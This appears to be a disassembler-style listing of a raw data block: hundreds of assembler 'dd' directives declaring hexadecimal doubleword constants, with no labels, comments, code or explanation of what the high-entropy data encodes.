dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h
dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h
dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h
dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h
dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh
dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh
dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h
dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h
dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h
dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h
dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh
dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h
dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h
dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h
dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h, 71F3F9EFh
dd 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh, 4F3D380Fh
dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h, 74C8F3BAh
dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh
dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h, 0C4C2A09Ch
dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h
dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h, 0DBC600A2h
dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh
dd 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh
dd 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh, 90093E82h
dd 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h, 887CEAB2h
dd 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh, 0E0E959C0h
dd 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh
dd 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h, 8600C218h
dd 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh
dd 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh, 311EF754h
dd 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h, 0D1C300B9h
dd 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh, 0BF50002h
dd 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h, 4749Fh
dd 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh
dd 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h, 3F80561h
dd 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h, 77937B1Fh
dd 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh
dd 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h, 0FA272B50h
dd 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h, 0E0CC5FD5h
dd 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h, 0F0998A04h
dd 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh, 93F726E1h
dd 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h, 0A966374Fh
dd 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h, 0B08E16AEh
dd 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h
dd 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h, 7EC97305h
dd 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h, 0F8490D97h
dd 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h, 0AE24F29Eh
dd 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h, 260F097h
dd 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh, 500ABAEh
dd 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h, 0A8CEBC24h
dd 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h, 50BA5CC0h
dd 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh
dd 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h, 5014C609h
dd 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh
dd 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h, 0B2F0BDE4h
dd 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h, 8549807Ah
dd 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h, 727D003Ch
dd 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h, 6898B038h
dd 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh, 32B009B6h
dd 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h, 70617F2Fh
dd 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h, 50859DD3h
dd 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h, 2C7C7E9Eh
dd 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh, 0F6F819DAh
dd 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h, 4C897898h
dd 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h, 0A800ACA7h
dd 746C72BBh, 0E27693h, 69385C12h, 0B27C2683h, 6600C9E8h
dd 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h, 0C223B300h
dd 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h, 0D96C6494h
dd 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h, 2CC2104Eh
dd 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h
dd 34293300h, 84A7672h, 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh
dd 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah, 707D2Dh
dd 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h, 620D2F22h
dd 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h
dd 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h, 410E251Ch
dd 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh, 5A2C621Fh
dd 91DA49Dh, 3CFE81FBh, 0C8FA4D80h, 1C003E57h, 93713F46h
dd 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch
dd 0C3C0FE80h, 901D31h, 96849754h, 2E08BC1Ah, 25CA6F00h
dd 40E15E87h, 553800F4h, 745B7239h, 8F704983h, 3EAE3D00h
dd 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h, 4B00F1E2h
dd 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h, 2E00C366h
dd 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h, 96B41F07h
dd 893C2F6h, 22929063h, 0B29D0043h, 7CD07054h, 0BD007EB8h
dd 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h, 0E100D6FAh
dd 6807E9F5h, 3263A66h, 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh
dd 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h, 0C05D6093h
dd 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h, 0BE76E0BBh
dd 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h, 3C74B8BCh
dd 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h
dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h
dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh
dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh
dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh
dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch
dd 7C5E04D8h, 0C8B3C05Bh
dd 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch
dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h
dd 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh
dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h
dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h
dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh
dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh
dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h
dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h
dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh
dd 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h
dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h
dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h
dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh
dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh
dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah
dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh
dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h
dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h
dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h
dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh
dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah, 2FF0747Bh
dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h
dd 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h, 0C07C3E01h
dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h
dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h, 120036F4h
dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h
dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h
dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h
dd 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh, 8650ECAEh
dd 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h, 18F00073h
dd 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh, 0E07F3C02h
dd 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh, 15A00E03h
dd 85B6AB01h, 3FF013Bh, 40E86090h, 0EB0E1506h, 87821144h
dd 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h, 719D2B18h
dd 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh, 8D183B05h
dd 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh, 0ED669D8Dh
dd 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h, 6A49D48Bh
dd 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh, 75264268h
dd 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h, 1B41B5E1h
dd 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh, 7EF2C51h
dd 10AC3C0h, 2100409Ch, 2002B063h, 7F3C9008h, 145200C4h
dd 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h, 8500222Ch
dd 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh, 870003ECh
dd 89195985h, 318DF0h, 831171B5h, 840FC03Eh, 47D36A1Dh
dd 468B4043h, 68E4C004h, 141EFC99h, 9A063850h, 0EC305586h
dd 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h, 6EBD8880h
dd 12D0070h, 85FE4C75h, 8B0F0940h, 0E050033Eh, 370EFF1Eh
dd 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h, 0B55506E9h
dd 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh, 0E9FA00BBh
dd 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h, 0FA4C76F3h
dd 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h, 8DA5F302h
dd 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h, 7D8A083Bh
dd 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh, 864B5595h
dd 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h, 235D0067h
dd 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h, 0ADCA7DACh
dd 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh, 0C7033D16h
dd 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh, 7E1D79D4h
dd 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h, 128B4B0Ah
dd 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h, 20C7A2D8h
dd 26000CF0h, 53073275h, 29F016h, 4A4D6E04h, 413BB4C7h
dd 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah, 7ED618B7h
dd 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h, 802501ECh
dd 0F0F475h, 5653C543h, 6500028Ah, 19B5AC7Fh, 0E6E8B850h
dd 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h, 31342BC7h
dd 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h, 5A247500h
dd 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh, 30AE0h
dd 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h, 8177A4h
dd 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h, 710E892h
dd 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h, 735B483Dh
dd 100400C2h, 61022F11h, 0B81F0875h, 0C402201h, 32BF54Bh
dd 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h, 3942DEBBh
dd 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah, 38D83D3Ch
dd 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh, 2C47F600h
dd 513C978Ah, 74985Bh, 43A57729h, 14959FEFh, 4CC2CE01h
dd 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh, 53D51E00h
dd 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh, 50D480DAh
dd 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah, 0EF60DA00h
dd 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh, 24CF0A7Dh
dd 0ADB14Fh, 4C2A4481h, 0CDD53940h, 0C8012301h, 79B62C09h
dd 0BFF1E4h, 17607C0Eh, 0AB51E0FEh, 8D0061EAh, 1690FBD6h
dd 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h, 98107174h
dd 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h, 37BD87h
dd 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h, 38DEA83h
dd 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah, 8ACFE029h
dd 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh, 0A1145080h
dd 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh, 3FD6872Ah
dd 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh, 56CB05FDh
dd 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh, 31E18193h
dd 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h, 4698003Dh
dd 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch, 24D51EC2h
dd 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h, 0A2023h
dd 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h, 411C0060h
dd 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh, 31472075h
dd 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h
dd 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h, 0F430F8Ch
dd 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h
dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h, 1504E083h
dd 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h
dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
dd 7B9D3700h, 0CEB45Ch
dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h
dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h, 0E4481E5Dh
dd 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h, 7FDCC037h
dd 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h, 4072200h
dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch
dd 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h, 4A6F2500h
dd 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h, 1301EB1Bh
dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh, 0B50053D4h
dd 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch, 771D7C72h
dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h
dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh, 6878AC54h
dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h
dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh, 35557BC3h
dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h
dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh
dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h
dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h
dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h
dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh, 2140410Eh
dd 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh, 0C90033A3h
dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h, 552609B9h
dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h
dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh
dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h
dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh, 7060770Fh
dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh
dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh
dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h, 1EB7E261h
dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh, 0DA727E62h
dd 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h, 38C4C190h
dd 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h, 239AF5D5h
dd 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h, 9F5394AEh
dd 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h, 374E0000h
dd 31AA0000h, 0C46A6C82h, 29900FFFh, 92E05B20h, 0B8FA3148h
dd 2C3227Dh, 0C92B2B83h, 0C9920994h, 5612AECEh, 0DE2D9EA4h
dd 1425A6CEh, 30FEA6BBh, 0F0731E2Ah, 59360884h, 27FBC629h
dd 0B1823A27h, 0B0A6F215h, 0FDF1BAB7h, 8197290Ah, 0E9E0B697h
dd 61E8EF3h, 28ACB8D8h, 2E67D966h, 62BFAE4Fh, 36CBFA69h
dd 18657296h, 0F6F336B5h, 76347147h, 8826C371h, 0F83764EFh
dd 612407EBh, 3B7FCCB0h, 2788AAF2h, 56805AC8h, 0EEBF0580h
dd 48C00FF0h, 0E5AEE2D2h, 384ECDC7h, 0D9B2AD09h, 219CF6A7h
dd 5AF2C4AAh, 0A701C0C4h, 0E45DDEF3h, 218105E8h, 336A821Ch
dd 689F7AA6h, 8BAB0E66h, 4A0DCFA3h, 79A7A17Eh, 0B5125596h
dd 98CFACD7h, 0C702A4E5h, 60810C58h, 560FDA1h, 69C5F892h
dd 7EBC0A2Dh, 382DAEB7h, 0A773491Fh, 1254E731h, 87D40730h
dd 0D5FEAB26h, 47FF89D5h, 0D089543Eh, 6DBC1209h, 0F71D9C0Ch
dd 3D783E41h, 59BBFA3Eh, 548BAC10h, 66A210AEh, 321F166Bh
dd 4AA6E0A8h, 5923223Ch, 2025AE08h, 8F9F0928h, 949EEF5Eh
dd 0DCD674DEh, 146E8644h, 0FD0F799Fh, 25B09921h, 0AB47A680h
dd 42862DF2h, 5BC3FF9h, 14DD2CC5h, 194E8D6Ah, 0C62FC319h
dd 3DE0BDC6h, 0A7EF4655h, 44B9CA2Fh, 0F0E37DBDh, 0DD2F0C38h
dd 0E590304Ch, 0F3746268h, 0D8909264h, 0F0526408h, 8DCD356h
dd 3431E02Bh, 0ED305773h, 18323C7Dh, 25D96343h, 0A0560888h
dd 0B2A4EFA0h, 5F83DA70h, 0C6A2F042h, 5620E71h, 406340EFh
dd 2B5C5909h, 77CC7E7Ah, 63A9C7EAh, 579A0A08h, 27D689E3h
dd 3DBCB075h, 9A66502Fh, 5AED060Ch, 0DBF37973h, 9AA758CFh
dd 217D5944h, 0C6A590EDh, 0BF5E4FAFh, 2AA91FC4h, 276712AEh
dd 102ED908h, 9CE6ECF5h, 0A9715A39h, 0BE01D29Ch, 0E0D1E096h
dd 0EADA5E86h, 0E5C68888h, 0AA61470Ah, 8D78FF0h, 6C67E877h
dd 0A28A82B4h, 0F6BD7133h, 0F19E04D9h, 9125B0ADh, 1CBD8C5Fh
dd 0ECD18A12h, 0FBAF033Fh, 0BB524B3h, 0F6915EECh, 0C0FB46A4h
dd 8C933621h, 1B7197B5h, 692247F0h, 29337220h, 358C692h
dd 45C356CAh, 99E6A197h, 69159692h, 0D569734Ch, 3590CEA5h
dd 901ADE1Ch, 0B4ADDCD4h, 0A4E36CEBh, 0C114AB80h, 0F99E41C2h
dd 299FAC3Ah, 41B3E0ABh, 9586580Bh, 0E77E2554h, 1E7ADF30h
dd 43512BE8h, 0B56DB33Ah, 0F83FE3E8h, 0A5CC87A4h, 0D95346AFh
dd 0E0B3CC81h, 0F0F650CCh, 0A4DE9DFDh, 0CAB30288h, 0D7917025h
dd 0BACEA5A0h, 64BBB81Ch, 5B764A5Bh, 0E2BC6258h, 384384E3h
dd 16FD539h, 77F9C296h, 0F389C2EDh, 0E94D592h, 0F8CD0D3h
dd 16FF6C63h, 43C0BF26h, 441EEF84h, 1B15564Ch, 0C4FA6261h
dd 30F2F04Bh, 584ABEAAh, 0A7D74A96h, 0FB561BFAh, 0A081484Dh
dd 0C61F83A7h, 0DD72E980h, 0C8D18177h, 3AEC0CF0h, 0D429B756h
dd 0AC43DF29h, 8A64E66h, 1D56F8D0h, 0F38C7927h, 8A966320h
dd 0E4D861F5h, 3D50C9CBh, 0B3FC0F26h, 0A2F4756Ah, 0FE2F68FFh
dd 0D674E00Ch, 0B0983975h, 20CF04E0h, 4085B97Fh, 0A632785h
dd 0E7680D9Fh, 0DC163EE5h, 0BA07F0E7h, 0D8D9EE43h, 25614296h
dd 0E456D7A2h, 0BA1ED82Dh, 0AF811E9Fh, 0CCF6941Ah, 0E785A25Bh
dd 27E75225h, 0DFFD2412h, 2EBE9480h, 0C6A24FECh, 7581935Eh
dd 0F757ED9Ch, 0DAA9B57h, 0FDC6CDDBh, 41E119F3h, 66F43C82h
dd 0FD6FF1F3h, 92B500A5h, 7F74C013h, 798250A0h, 20A18F2Ch
dd 320340Fh, 4072C10Fh, 0F39FE2A9h, 0B2CAD598h, 0E6E6DE08h
dd 9FB7773Fh, 81F3DF1Ch, 0DE0BF281h, 0FA8E1387h, 468FE479h
dd 50336712h, 0F5358D03h, 7AFA3E50h, 3E8C3279h, 0D6726F69h
dd 2542D6E1h, 0D43F04B9h, 0AB4D338Fh, 9C0AB0E7h, 0C953643h
dd 9A9FFF61h, 7EDFFE89h, 0E45A00C1h, 6968A333h, 174E6003h
dd 66082536h, 0A6856C26h, 54BEDEBh, 8D043269h, 3AEF589Dh
dd 8CDB30A4h, 0C3DEEA4Dh, 21214B01h, 17DD62BAh, 0E8EE7AC1h
dd 5D619946h, 0C9B949FFh, 0FD8F70ABh, 16CCDA9Eh, 4EAD82ADh
dd 291F3DF5h, 14EF5642h, 9DEEA3A7h, 14D28E08h, 8E4B9679h
dd 0E699294Fh, 0D199CB7Ch, 9712CD4h, 226A930Eh, 0FFF3F258h
dd 0BB9785A8h, 6F00DD6Bh, 1C3BCE1Ch, 1B0E26Eh, 0A2CF6B10h
dd 0A8E86B04h, 0E6969D8Dh, 0D3A199Dh, 0F0F8CE86h, 1D1DD03Bh
dd 62485B27h, 94F76BBh, 905121E0h, 2F9623A9h, 9F4C89ABh
dd 2CA59F15h, 8ACCA03Dh, 53EC28C3h, 4BED13ECh, 0E1E74EB7h
dd 295C128h, 82BF9A31h, 0FB67C81h, 85F98E62h, 2023DD63h
dd 6386C85Bh, 84A8C6CBh, 9165065Dh, 3E1EDB59h, 3F76F407h
dd 0C71B243Eh, 29EF0878h, 6E730C2Eh, 3BF23EC2h, 620C8647h
dd 3894A6E7h, 2340FC90h, 553D20F4h, 4600D826h, 6E14F315h
dd 0ABFB53ADh, 3F35F1D8h, 0A2FBCE79h, 0D75F04Bh, 8CD3B7E7h
dd 0C5AD95C9h, 0AF35539Eh, 9943A36h, 7A648E6Ch, 24D2EF70h
dd 564D99CAh, 0C93808D9h, 1E852522h, 2F0A978Fh, 1AE47FE0h
dd 76F1F7DCh, 0E33CDDAAh, 40340233h, 0C42ED795h, 15C801D9h
dd 0C7D0FAA5h, 22614324h
dd 9372AD51h, 1AF5D9DAh, 8CF7A5C9h, 0D8C3396Eh, 0D3FA790Bh
dd 1DAFDDF9h, 2E8C749Dh, 0A090E0D0h, 0B6A31F64h, 0D1C2F776h
dd 0F3BE2FDCh, 373950BFh, 284617B2h, 7C8E9332h, 211B2295h
dd 0E6F8F5D6h, 0FBBFB573h, 0A1D1D07Ch, 4E7434ABh, 5502A89Eh
dd 1E22473Ch, 4C1984DFh, 0D33A6203h, 0AD8E4C27h, 84184E2Ah
dd 8FC65CFBh, 58918CF2h, 4E893C6Dh, 0A567D63Fh, 0D4BAC4E2h
dd 6B243DAAh, 4DACE1FCh, 0DDC8105Ch, 1B11403Dh, 89E3B313h
dd 29A4E34Ch, 0CC136D9Ah, 24876D59h, 484A35A7h, 2D7B64FCh
dd 0AA4E562Dh, 0DF266D42h, 0EA60AAEEh, 5B7E9CFFh, 3B4CD384h
dd 2704ADECh, 0AC56F970h, 851296DCh, 0E18EA56Ah, 8E9850E8h
dd 6064CD2Fh, 73A44B5Eh, 768F4A98h, 0F694F7EEh, 0D54D6E72h
dd 806FF255h, 15D5297Bh, 6A614B25h, 8C7C0B9Bh, 9632479Dh
dd 6F3ED670h, 88C39FE7h, 8684B769h, 0F71CAF9Bh, 7E483AD1h
dd 8E56474Ch, 7BA67415h, 51624DE9h, 4655FE08h, 484EBB86h
dd 8DEAD7B0h, 5C14D61Bh, 0A918F74Eh, 0B934FC41h, 0C003792Dh
dd 575CB3C1h, 4F139D03h, 97B6167Eh, 807B8F5h, 6B67B9C5h
dd 2745A099h, 0CCD02C42h, 4544DE81h, 0DC7D9858h, 0DEF6141Eh
dd 6AF97F1h, 2B68FC25h, 0BCDD14DCh, 0AEB53A4Ch, 0E55F367Fh
